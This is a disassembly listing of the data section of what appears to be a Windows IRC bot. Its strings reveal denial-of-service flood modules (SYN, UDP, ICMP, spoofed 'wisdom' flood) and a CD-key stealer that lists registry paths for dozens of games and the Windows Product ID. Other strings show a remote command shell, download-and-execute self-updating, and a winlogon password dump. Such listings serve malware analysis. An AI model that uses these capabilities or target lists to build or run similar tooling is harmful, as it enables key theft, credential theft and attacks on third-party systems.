		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aDoneWithFloodA	db 'done with flood at %iKB/sec',0
dword_435B4C	dd 234032Dh, 736F6464h,	202D0302h, 646E6573h, 72726520h
					; DATA XREF: sub_412B08+302o
		dd 203A726Fh, 6425h, 234032Dh, 706D6369h, 202D0302h, 656E6F64h
		dd 74697720h, 73252068h, 6F6C6620h, 7420646Fh, 7325206Fh
		dd 6573202Eh, 2520746Eh, 61702064h, 74656B63h, 20402073h
		dd 424B6425h, 6365732Fh, 64252820h, 2E29424Dh, 0
		dd 234032Dh, 706D6369h,	202D0302h, 6F727265h, 65732072h
		dd 6E69646Eh, 61702067h, 74656B63h, 6F742073h, 2E732520h
		dd 20642520h, 6B636170h, 20737465h, 746E6573h, 6572202Ch
		dd 6E727574h, 25206465h, 64h, 234032Dh,	706D6369h, 202D0302h
		dd 61766E69h, 2064696Ch, 67726174h, 69207465h, 70h, 234032Dh
		dd 706D6369h, 202D0302h, 73746573h, 6F6B636Fh, 29287470h
		dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
		dd 0
		dd 234032Dh, 706D6369h,	202D0302h, 6B636F73h, 29287465h
		dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
		dd 0
		dd 234032Dh, 676E6970h,	202D0302h, 696E6966h, 64656873h
		dd 6E657320h, 676E6964h, 6E697020h, 74207367h, 7325206Fh
		dd 0
		dd 234032Dh, 676E6970h,	202D0302h, 6F727265h, 65732072h
		dd 6E69646Eh, 69702067h, 2073676Eh, 25206F74h, 73h, 234032Dh
		dd 2706475h, 66202D03h,	73696E69h, 20646568h, 646E6573h
		dd 20676E69h, 6B636170h, 20737465h, 25206F74h, 73h, 234032Dh
		dd 2706475h, 65202D03h,	726F7272h, 6E657320h, 676E6964h
		dd 63617020h, 7374656Bh, 206F7420h, 7325h, 234032Dh, 73796B73h
		dd 3026E79h, 6F44202Dh,	7720656Eh, 20687469h, 6F6F6C66h
		dd 25282064h, 2F424B69h, 29636573h, 0
		db  2Dh	; -
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aDoneWithFloodI	db '- Done with flood (%iKB/sec).',0
		align 4
dword_435D74	dd 234032Dh, 26E7973h, 53202D03h, 20646E65h, 6F727265h
					; DATA XREF: sub_41386B+27Do
		dd 3C203A72h, 2E3E6425h, 0
		dd 234032Dh, 67726174h,	3023361h, 6F44202Dh, 7720656Eh
		dd 20687469h, 6F6F6C66h, 2E64h,	234032Dh, 2706374h, 44202D03h
		dd 20656E6Fh, 68746977h, 20732520h, 6F6F6C66h, 6F742064h
		dd 3A504920h, 2E732520h, 6E655320h, 25203A74h, 61702064h
		dd 74656B63h, 20297328h, 64252040h, 732F424Bh, 28206365h
		dd 424D6425h, 2E29h, 234032Dh, 2706374h, 45202D03h, 726F7272h
		dd 6E657320h, 676E6964h, 63617020h, 7374656Bh, 206F7420h
		dd 203A5049h, 202E7325h, 6B636150h, 20737465h, 746E6573h
		dd 6425203Ah, 6552202Eh, 6E727574h, 203A6465h, 3E64253Ch
		dd 2Eh,	234032Dh, 2706374h, 49202D03h, 6C61766Eh, 74206469h
		dd 65677261h, 50492074h, 2Eh, 234032Dh,	2706374h, 45202D03h
		dd 726F7272h, 6573203Ah, 636F7374h, 74706F6Bh, 66202928h
		dd 656C6961h, 72202C64h, 72757465h, 3A64656Eh, 64253C20h
		dd 2E3Eh, 234032Dh, 2706374h, 45202D03h, 726F7272h, 6F73203Ah
		dd 74656B63h, 66202928h, 656C6961h, 72202C64h, 72757465h
		dd 3A64656Eh, 64253C20h, 2E3Eh,	234032Dh, 6E757374h, 2696D61h
		dd 44202D03h, 20656E6Fh, 68746977h, 6F6C6620h, 202C646Fh
		dd 70206425h, 656B6361h, 73207374h, 2E746E65h, 0
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 53202D03h
		dd 74726174h, 20676E69h, 64736957h, 73206D6Fh, 666F6F70h
		dd 55206465h, 66205044h, 646F6F6Ch, 72687420h, 2E646165h
		dd 0
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 45202D03h
		dd 726F7272h, 6E657320h, 676E6964h, 63617020h, 7374656Bh
		dd 206F7420h, 202E7325h, 3D786165h, 4B434F53h, 455F5445h
		dd 524F5252h, 5357202Ch, 74654741h, 7473614Ch, 6F727245h
		dd 3D292872h, 202E6425h, 657A6973h, 6228666Fh, 65666675h
		dd 3D202972h, 2E642520h, 63615020h, 7374656Bh, 6E657320h
		dd 75732074h, 73736563h, 6C6C7566h, 203D2079h, 2E6425h
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 46202D03h
		dd 73696E69h, 20646568h, 646E6573h, 20676E69h, 6B636170h
		dd 20737465h, 25206F74h, 53202E73h, 20746E65h, 70206425h
		dd 656B6361h, 29732874h, 257E202Eh, 20424D64h, 6420666Fh
		dd 20617461h, 746E6573h, 257E2820h, 732F4B64h, 2E29h, 234032Dh
		dd 64736977h, 75286D6Fh, 2297064h, 53202D03h, 69646E65h
		dd 7020676Eh, 656B6361h, 74207374h, 7325206Fh, 2E2E2Eh
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 49202D03h
		dd 6C61766Eh, 74206469h, 65677261h, 50492074h, 5357202Eh
		dd 74654741h, 7473614Ch, 6F727245h, 20292872h, 75746572h
		dd 20736E72h, 2E6425h, 234032Dh, 64736977h, 75286D6Fh
		dd 2297064h, 45202D03h,	726F7272h, 6C616320h, 676E696Ch
		dd 74657320h, 6B636F73h, 2874706Fh, 57202E29h, 65474153h
		dd 73614C74h, 72724574h, 2928726Fh, 74657220h, 736E7275h
		dd 2E642520h, 0
		db  2Dh	; -
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aErrorCallingSo	db '- Error calling socket().',0
		align 10h
		db  2Dh	; -
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aDoneWithFloodP	db 'Done with flood, ports hit: %s',0
		align 4
aSD		db '%s%d ',0
		align 4
dword_436164	dd 202E6425h, 73253403h, 203D2003h, 73253703h, 3 ; DATA	XREF: sub_415134+35o
dword_436178	dd 234032Dh, 61696C61h,	696C2073h, 3027473h, 2Dh ; DATA	XREF: sub_415134+10o
a_2d_2d4d_2d_2d	db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_4151AC+60o
		align 10h
dword_4361B0	dd 234032Dh, 3676F6Ch, 43202D02h, 7261656Ch, 2E6465h
					; DATA XREF: sub_41524C:loc_415281o
dword_4361C4	dd 234032Dh, 2676F6Ch, 63202D03h, 7261656Ch, 6465h
					; DATA XREF: sub_41524C+20o
dword_4361D8	dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 706D6F63h
					; DATA XREF: ___:00415369o
		dd 6574656Ch, 0
dword_4361F4	dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 72617473h
					; DATA XREF: ___:004152CCo
		dd 676E6974h, 0
aDisplay	db 'DISPLAY',0          ; DATA XREF: sub_4153BC+11o
aWindow		db 'Window',0           ; DATA XREF: sub_4155F7+23o
					; sub_4157F0+26o
		align 10h
		dd 80000001h
off_436224	dd offset aSoftwareValveC ; DATA XREF: sub_415A2F+Cr
					; sub_415A2F+21o
					; "Software\\Valve\\CounterStrike\\Settings"
		dd offset aCdkey	; "CDKey"
		dd offset aCounterStrikeR ; "Counter-Strike (Retail)"
dword_436230	dd 2 dup(0)		; DATA XREF: sub_415A2F+26o
		dd 80000001h, 4373B4h, 4373A8h,	437398h, 2 dup(0)
		dd 80000001h, 437378h, 437374h,	437360h, 2 dup(0)
		dd 80000001h, 43733Ch, 437374h,	437330h, 2 dup(0)
		dd 80000001h, 43730Ch, 437304h,	4372F0h, 2 dup(0)
		dd 80000001h, 4372DCh, 4372CCh,	4372B0h, 2 dup(0)
		dd 80000001h, 43726Ch, 4373F4h,	437258h, 2 dup(0)
		dd 80000002h, 43722Ch, 437220h,	437200h, 2 dup(0)
		dd 80000002h, 4371CCh, 4373F4h,	4371B4h, 2 dup(0)
		dd 80000002h, 437180h, 4373F4h,	437168h, 2 dup(0)
		dd 80000002h, 437150h, 4373F4h,	437138h, 2 dup(0)
		dd 80000002h, 4370FCh, 43D158h,	4370ECh, 2 dup(0)
		dd 80000002h, 4370B4h, 43D158h,	4370A0h, 2 dup(0)
		dd 80000002h, 437054h, 43D158h,	437034h, 2 dup(0)
		dd 80000002h, 436FE4h, 43D158h,	436FB8h, 2 dup(0)
		dd 80000002h, 436F7Ch, 43D158h,	436F68h, 2 dup(0)
		dd 80000002h, 436F30h, 43D158h,	436F20h, 2 dup(0)
		dd 80000002h, 436ED0h, 43D158h,	436EA4h, 2 dup(0)
		dd 80000002h, 436E64h, 43D158h,	436E48h, 2 dup(0)
		dd 80000002h, 436E18h, 43D158h,	436DF8h, 2 dup(0)
		dd 80000002h, 436DBCh, 43D158h,	436DA8h, 2 dup(0)
		dd 80000002h, 436D60h, 43D158h,	436D40h, 2 dup(0)
		dd 80000002h, 436CECh, 43D158h,	436CBCh, 2 dup(0)
		dd 80000002h, 436C6Ch, 43D158h,	436C40h, 2 dup(0)
		dd 80000002h, 436C00h, 436BF8h,	436BD8h, 2 dup(0)
		dd 80000002h, 436B94h, 43D158h,	436B78h, 2 dup(0)
		dd 80000002h, 436B2Ch, 43D158h,	436B08h, 2 dup(0)
		dd 80000002h, 436AD4h, 43D158h,	436AC8h, 2 dup(0)
		dd 80000002h, 436A94h, 43D158h,	436A88h, 2 dup(0)
		dd 80000002h, 436A54h, 43D158h,	436A48h, 2 dup(0)
		dd 80000002h, 436A14h, 43D158h,	436A08h, 2 dup(0)
		dd 80000002h, 4369CCh, 43D158h,	4369B8h, 2 dup(0)
		dd 80000002h, 43697Ch, 43D158h,	436968h, 2 dup(0)
		dd 80000002h, 436938h, 4373F4h,	43691Ch, 2 dup(0)
		dd 80000002h, 4368FCh, 4368F4h,	4368D0h, 2 dup(0)
		dd 80000002h, 4368B4h, 4368F4h,	436894h, 2 dup(0)
		dd 80000002h, 436874h, 4368F4h,	436850h, 2 dup(0)
		dd 80000002h, 436838h, 4368F4h,	436834h, 2 dup(0)
		dd 80000002h, 436818h, 436808h,	436800h, 2 dup(0)
; ---------------------------------------------------------------------------
		add	al, [eax]
		add	byte_4367CC[eax], al
		dec	esp
		retn	42h
; ---------------------------------------------------------------------------
		dd offset aHiddenDangerou ; "Hidden & Dangerous	2"
		align 10h
		dd 80000002h, 436778h, 43676Ch,	436744h, 436734h, 436720h
		dd 80000002h, 4366FCh, 4366F0h,	4366DCh, 4366CCh, 4366C4h
		dd 80000002h, 4366FCh, 4366F0h,	436698h, 4366CCh, 436690h
		dd 80000002h, 4366FCh, 4366F0h,	436660h, 4366CCh, 436658h
		dd 6 dup(0)
		dd 3379654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh
		dd 28207374h, 64726F48h, 6F207365h, 68742066h, 6E552065h
		dd 64726564h, 296B7261h, 0
		dd 3279654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh
		dd 28207374h, 64616853h, 2073776Fh, 5520666Fh, 6572646Eh
		dd 6469746Eh, 2965h, 3179654Bh,	3Dh, 636E776Eh,	79656B64h
		dd 696E692Eh, 0
aNeverwinterNig	db 'Neverwinter Nights',0
		align 10h
aLocation	db 'Location',0
		align 4
aSoftwareBiowar	db 'Software\BioWare\NWN\Neverwinter',0
		align 10h
aMtkwftmkemfew3	db 'mtkwftmkemfew3p3b7',0
		align 4
aBaseMpSof2key	db 'base\mp\sof2key',0
aSoldierOfFortu	db 'Soldier of Fortune II - Double Helix',0
		align 4
aInstallpath	db 'InstallPath',0
		db 53h
aOftwareActivis	db 'oftware\Activision\Soldier of Fortune II - Double Helix',0
		align 4
aHiddenDangerou	db 'Hidden & Dangerous 2',0 ; DATA XREF: ___:004365D4o
		align 4
byte_4367CC	db 53h			; DATA XREF: ___:004365CAw
aOftwareIllusio	db 'oftware\Illusion Softworks\Hidden & Dangerous 2',0
		align 10h
aChrome		db 'Chrome',0
		align 4
aSerialnumber	db 'SerialNumber',0
		align 4
		db 53h
aOftwareTechlan	db 'oftware\Techland\Chrome',0
		align 4
		dd offset word_584F4E
aSoftwareWestwo	db 'Software\Westwood\NOX',0
		align 10h
aCommandAndConq	db 'Command and Conquer: Red Alert 2',0
		align 4
		db 53h
aOftwareWestwoo	db 'oftware\Westwood\Red Alert 2',0
		align 4
aCommandAndCo_0	db 'Command and Conquer: Red Alert',0
		align 4
		db 53h
aOftwareWestw_0	db 'oftware\Westwood\Red Alert',0
aCommandAndCo_1	db 'Command and Conquer: Tiberian Sun',0
		align 4
aSerial		db 'Serial',0
		align 4
		db 53h
aOftwareWestw_1	db 'oftware\Westwood\Tiberian Sun',0
		align 4
aRainbowSixIiiR	db 'Rainbow Six III RavenShield',0
		db 53h
aOftwareRedStor	db 'oftware\Red Storm Entertainment\RAVENSHIELD',0
		align 4
aNascarRacing20	db 'Nascar Racing 2003',0
		align 4
		db 53h
aOftwareElectro	db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0
		align 4
aNascarRacing_0	db 'Nascar Racing 2002',0
		align 4
		db 53h
aOftwareElect_0	db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0
		align 4
aNhl2003	db 'NHL 2003',0
		align 4
		db 53h
aOftwareElect_1	db 'oftware\Electronic Arts\EA Sports\NHL 2003\ergc',0
		align 4
aNhl2002	db 'NHL 2002',0
		align 4
		db 53h
aOftwareElect_2	db 'oftware\Electronic Arts\EA Sports\NHL 2002\ergc',0
		align 4
aFifa2003	db 'FIFA 2003',0
		align 4
		db 53h
aOftwareElect_3	db 'oftware\Electronic Arts\EA Sports\FIFA 2003\ergc',0
		align 4
aFifa2002	db 'FIFA 2002',0
		align 4
		db 53h
aOftwareElect_4	db 'oftware\Electronic Arts\EA Sports\FIFA 2002\ergc',0
		align 4
aShogunTotalWar	db 'Shogun: Total War: Warlord Edition',0
		align 4
		db 53h
aOftwareElect_5	db 'oftware\Electronic Arts\EA GAMES\Shogun Total War - Warlord Editi'
		db 'on\ergc',0
		align 4
aNeedForSpeedUn	db 'Need For Speed: Underground',0
		db 53h
aOftwareElect_6	db 'oftware\Electronic Arts\EA GAMES\Need For Speed Underground\ergc',0
		align 4
aNeedForSpeedHo	db 'Need For Speed Hot Pursuit 2',0
		align 4
aErgc		db 'ergc',0
		align 10h
		db 53h
aOftwareElect_7	db 'oftware\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2',0
		align 10h
aMedalOfHonorAl	db 'Medal of Honor: Allied Assault: Spearhead',0
		align 4
		db 53h
aOftwareElect_8	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Sp'
		db 'earhead\ergc',0
		align 4
aMedalOfHonor_0	db 'Medal of Honor: Allied Assault: Breakthrough',0
		align 4
		db 53h
aOftwareElect_9	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Br'
		db 'eakthrough\ergc',0
		align 10h
aMedalOfHonor_1	db 'Medal of Honor: Allied Assault',0
		align 10h
		db 53h
aOftwareElec_10	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\er'
		db 'gc',0
		align 4
aGlobalOperatio	db 'Global Operations',0
		align 4
		db 53h
aOftwareElec_11	db 'oftware\Electronic Arts\EA GAMES\Global Operations\ergc',0
		align 4
aCommandAndCo_2	db 'Command and Conquer: Generals',0
		align 4
		db 53h
aOftwareElec_12	db 'oftware\Electronic Arts\EA GAMES\Generals\ergc',0
aJamesBond007Ni	db 'James Bond 007: Nightfire',0
		align 4
		db 53h
aOftwareElec_13	db 'oftware\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0
aCommandAndCo_3	db 'Command and Conquer: Generals (Zero Hour)',0
		align 10h
		db 53h
aOftwareElec_14	db 'oftware\Electronic Arts\EA GAMES\Command and Conquer Generals Zer'
		db 'o Hour\ergc',0
		align 10h
aBlackAndWhite	db 'Black and White',0
		db 53h
aOftwareElec_15	db 'oftware\Electronic Arts\EA GAMES\Black and White\ergc',0
		align 4
aBattlefieldVie	db 'Battlefield Vietnam',0
		db 53h
aOftwareElec_16	db 'oftware\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0
		align 4
aBattlefield194	db 'Battlefield 1942 (Secret Weapons of WWII)',0
		align 4
		db 53h
aOftwareElec_17	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons '
		db 'of WWII\ergc',0
		align 4
aBattlefield1_0	db 'Battlefield 1942 (Road To Rome)',0
		db 53h
aOftwareElec_18	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Rom'
		db 'e\ergc',0
		align 10h
aBattlefield1_1	db 'Battlefield 1942',0
		align 4
		db 53h
aOftwareElec_19	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0
aFreedomForce	db 'Freedom Force',0
		align 4
		db 53h
aOftwareElec_20	db 'oftware\Electronic Arts\EA Distribution\Freedom Force\ergc',0
aIgi2CovertStri	db 'IGI 2: Covert Strike',0
		align 10h
		db 53h
aOftwareIgi2Ret	db 'oftware\IGI 2 Retail',0
		align 4
aUnrealTourname	db 'Unreal Tournament 2004',0
		align 10h
		db 53h
aOftwareUnrealT	db 'oftware\Unreal Technology\Installed Apps\UT2004',0
		align 4
aUnrealTourna_0	db 'Unreal Tournament 2003',0
		align 4
		db 53h
aOftwareUnrea_0	db 'oftware\Unreal Technology\Installed Apps\UT2003',0
		align 10h
aMicrosoftWindo	db 'Microsoft Windows Product ID',0
		align 10h
aProductid	db 'ProductId',0
		align 4
		db 53h
aOftwareMicro_0	db 'oftware\Microsoft\Windows\CurrentVersion',0
		align 4
aSoldiersOfAnar	db 'Soldiers Of Anarchy',0
aSoftwareSilver	db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0
		align 10h
aLegendsOfMight	db 'Legends of Might and Magic',0
		align 4
aCustomernumber	db 'CustomerNumber',0
		align 4
aSoftware3d0Sta	db 'Software\3d0\Status',0
aIndustryGiant2	db 'Industry Giant 2',0
		align 4
aPrvkey		db 'prvkey',0
		align 4
aSoftwareJowood	db 'Software\JoWooD\InstalledGames\IG2',0
		align 10h
aHalfLife	db 'Half-Life',0
		align 4
aSoftwareValveH	db 'Software\Valve\Half-Life\Settings',0
		align 10h
aGunmanChronicl	db 'Gunman Chronicles',0
		align 4
aKey_0		db 'Key',0
aSoftwareValveG	db 'Software\Valve\Gunman\Settings',0
		align 4
aTheGladiators	db 'The Gladiators',0
		align 4
aRegnumber	db 'RegNumber',0
		align 4
aSoftwareEugenS	db 'Software\Eugen Systems\The Gladiators',0
		align 4
aCounterStrikeR	db 'Counter-Strike (Retail)',0 ; DATA XREF: ___:0043622Co
aCdkey		db 'CDKey',0            ; DATA XREF: ___:00436228o
		align 4
aSoftwareValveC	db 'Software\Valve\CounterStrike\Settings',0 ; DATA XREF: ___:off_436224o
		align 4
asc_437424:				; DATA XREF: sub_415A2F+E9o
					; sub_415A2F+F4o
		unicode	0, <=>,0
dword_437428	dd 234032Dh, 656B6463h,	3027379h, 7325202Dh, 7325203Ah
					; DATA XREF: sub_415A2F+2Bo
		dd 0
		db  2Dh	; -
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToSendTo	db '- failed to send to Remote command shell',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToOpenRe	db '- failed to open remote command shell',0
		align 4
unk_4374A4	db  2Dh	; -		; DATA XREF: ___:00415F17o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToOpenSo	db '- failed to open socket',0
		align 4
dword_4374C8	dd 234032Dh, 2636364h, 73202D03h, 656B636Fh, 72652074h
					; DATA XREF: ___:0041617Co
					; ___:00416312o
		dd 726F72h
unk_4374E0	db  2Dh	; -		; DATA XREF: ___:00416114o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFileSSentToSSB	db '- file %s sent to %s (%s bytes).',0
		align 4
unk_43750C	db  2Dh	; -		; DATA XREF: ___:0041601Co
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aUnableToOpenSo	db '- unable to open socket',0
		align 10h
dword_437530	dd 234032Dh, 2636364h, 73202D03h, 20646E65h, 656D6974h
					; DATA XREF: ___:00415FE5o
		dd 74756Fh
dword_437548	dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h
					; DATA XREF: ___:00415F84o
		dd 169h
unk_437560	db  2Dh	; -		; DATA XREF: ___:00415F41o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFileDoesnTExis	db '- file doesn',27h,'t exist',0
		align 10h
unk_437580	db  2Dh	; -		; DATA XREF: ___:00415E9Co
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToBindTo	db '- failed to bind to socket',0
unk_4375A4	db  2Dh	; -		; DATA XREF: ___:00415E5Eo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToCrea_2	db '- failed to create socket',0
		align 4
unk_4375C8	db  2Dh	; -		; DATA XREF: ___:0041638Do
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aReceivedSFromS	db '- received %s from %s (%s bytes).',0
		align 4
unk_4375F4	db  2Dh	; -		; DATA XREF: ___:00416287o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aErrorOpeningSo	db '- error opening socket',0
unk_437614	db  2Dh	; -		; DATA XREF: ___:00416267o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aErrorOpeningFi	db '- error opening file for writing',0
		align 10h
aAB		db 'a+b',0              ; DATA XREF: ___:00416253o
unk_437644	db  2Dh	; -		; DATA XREF: ___:0041623Fo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aErrorUnableToW	db '- error unable to write file to disk',0
		align 4
unk_437674	db  2Dh	; -		; DATA XREF: ___:0041688Co
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aBadUrlOrDnsErr	db 'bad url or dns error at %s.',0
unk_4376A0	db  2Dh	; -		; DATA XREF: ___:0041687Eo
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aUpdateFailedEr	db 'update failed, error executing %s',0
		align 4
unk_4376D4	db  2Dh	; -		; DATA XREF: ___:004167C2o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloaded_1fk	db 'downloaded %.1fKB to %s @ %.1fKB/sec, updating bot',0
		align 4
dword_437718	dd 234032Dh, 6E776F64h,	64616F6Ch, 202D0302h, 6E65706Fh
					; DATA XREF: ___:00416751o
		dd 25206465h, 73h
unk_437734	db  2Dh	; -		; DATA XREF: ___:004166DAo
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloaded_1fK	db 'downloaded %.1f KB to %s @ %.1f KB/sec',0
		align 4
unk_43776C	db  2Dh	; -		; DATA XREF: ___:0041665Bo
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aWrongCrcDD_	db 'wrong crc (%d != %d).',0
		align 4
unk_437794	db  2Dh	; -		; DATA XREF: ___:004165D1o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aWrongFilesizeD	db 'wrong filesize (%d != %d).',0
		align 10h
unk_4377C0	db  2Dh	; -		; DATA XREF: ___:0041658Eo
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aGotUpdateSDkb_	db 'got update %s (%dKB).',0
		align 4
unk_4377E8	db  2Dh	; -		; DATA XREF: ___:0041657Co
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloadedSDkb	db 'downloaded %s (%dKB)',0
		align 10h
unk_437810	db  2Dh	; -		; DATA XREF: ___:00416470o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aCouldnTOpenF_0	db 'couldn',27h,'t open file: %s',0
		align 4
aUnknown	db 'Unknown',0          ; DATA XREF: sub_4169A1:loc_4169E4o
					; sub_418EF6+10Ao
aInvalid	db 'Invalid',0          ; DATA XREF: sub_4169A1:loc_4169DEo
aDisk		db 'Disk',0             ; DATA XREF: sub_4169A1:loc_4169D8o
		align 10h
aNetwork	db 'Network',0          ; DATA XREF: sub_4169A1:loc_4169D2o
aCdrom		db 'Cdrom',0            ; DATA XREF: sub_4169A1:loc_4169CCo
		align 10h
off_437860	dd offset word_4D4152	; DATA XREF: sub_4169A1:loc_4169C6o
word_437864	dw 3Fh			; DATA XREF: sub_4169A1+1Fo
					; sub_41AA42:loc_41AB44r
		align 4
aFailed		db 'failed',0           ; DATA XREF: sub_416A32:loc_416B10o
					; sub_416B56+3Bo
		align 10h
aSkb		db '%sKB',0             ; DATA XREF: sub_416A32+6Co
		align 4
unk_437878	db  2Dh	; -		; DATA XREF: sub_416B56+8Eo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDriveSSTotalS	db '%s drive (%s): %s total, %s free, %s available',0
		align 4
unk_4378B4	db  2Dh	; -		; DATA XREF: sub_416B56+58o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDriveSFailedT	db '%s drive (%s): failed to stat, device not ready',0
aA_1		db 'A:\',0              ; DATA XREF: sub_416C28:loc_416C6Do
		db  2Dh	; -
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
		db  66h	; f
		db 6Fh,	75h, 6Eh
		db  64h	; d
		db 20h,	25h, 64h
		db  20h
aFiles		db 'files',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aSearchingFor_0	db 'searching for file %s',0
		align 4
		dd 234032Dh, 646E6966h,	656C6966h, 202D0302h, 6E756F66h
		dd 73252064h, 73255Ch, 2A5C7325h, 0
unk_437960	db  2Dh	; -		; DATA XREF: sub_416F1A:loc_417093o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aFailedToEnable	db 'failed to enable debug privilege',0
		align 4
unk_437994	db  2Dh	; -		; DATA XREF: sub_416F1A:loc_417066o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aUnableToFindWi	db 'unable to find winlogon pid',0
unk_4379C0	db  2Dh	; -		; DATA XREF: sub_416F1A:loc_41705Fo
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aUnableToFindTh	db 'unable to find the password in memory',0
		align 4
unk_4379F8	db  2Dh	; -		; DATA XREF: sub_416F1A+117o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
		db  57h	; W
		db 69h,	6Eh, 4Ch
		db  6Fh	; o
		db 67h,	6Fh, 6Eh
		db  20h
		db 49h,	6Eh, 66h
		db  6Fh	; o
		db 72h,	6Dh, 61h
		db  74h	; t
		db 69h,	6Fh, 6Eh
		db  20h
		db 28h,	50h, 49h
		db  44h	; D
		db 20h,	25h, 64h
		db  29h	; )
		db 20h,	2Dh, 20h
		db    2
		db 44h,	6Fh, 6Dh
		db  61h	; a
		db 69h,	6Eh, 2
		db  3Ah	; :
		db 20h,	2 dup(5Ch)
		db  25h	; %
		db 53h,	2Ch, 20h
		db    2
		db 55h,	73h, 65h
		db  72h	; r
		db 2, 3Ah, 20h
aSNoPassword_	db '(%S/(no password)).',0
off_437A54	dd offset byte_530055	; DATA XREF: sub_416F1A+DCo
		dd offset byte_520045
		dd offset dword_4F0044
		dd offset loc_41004D
		dd offset loc_4E0047+2
		dd 0
off_437A6C	dd offset byte_530055	; DATA XREF: sub_416F1A+CEo
		dd offset byte_520045
		dd offset loc_41004D+1
		dd offset byte_45004D
		align 10h
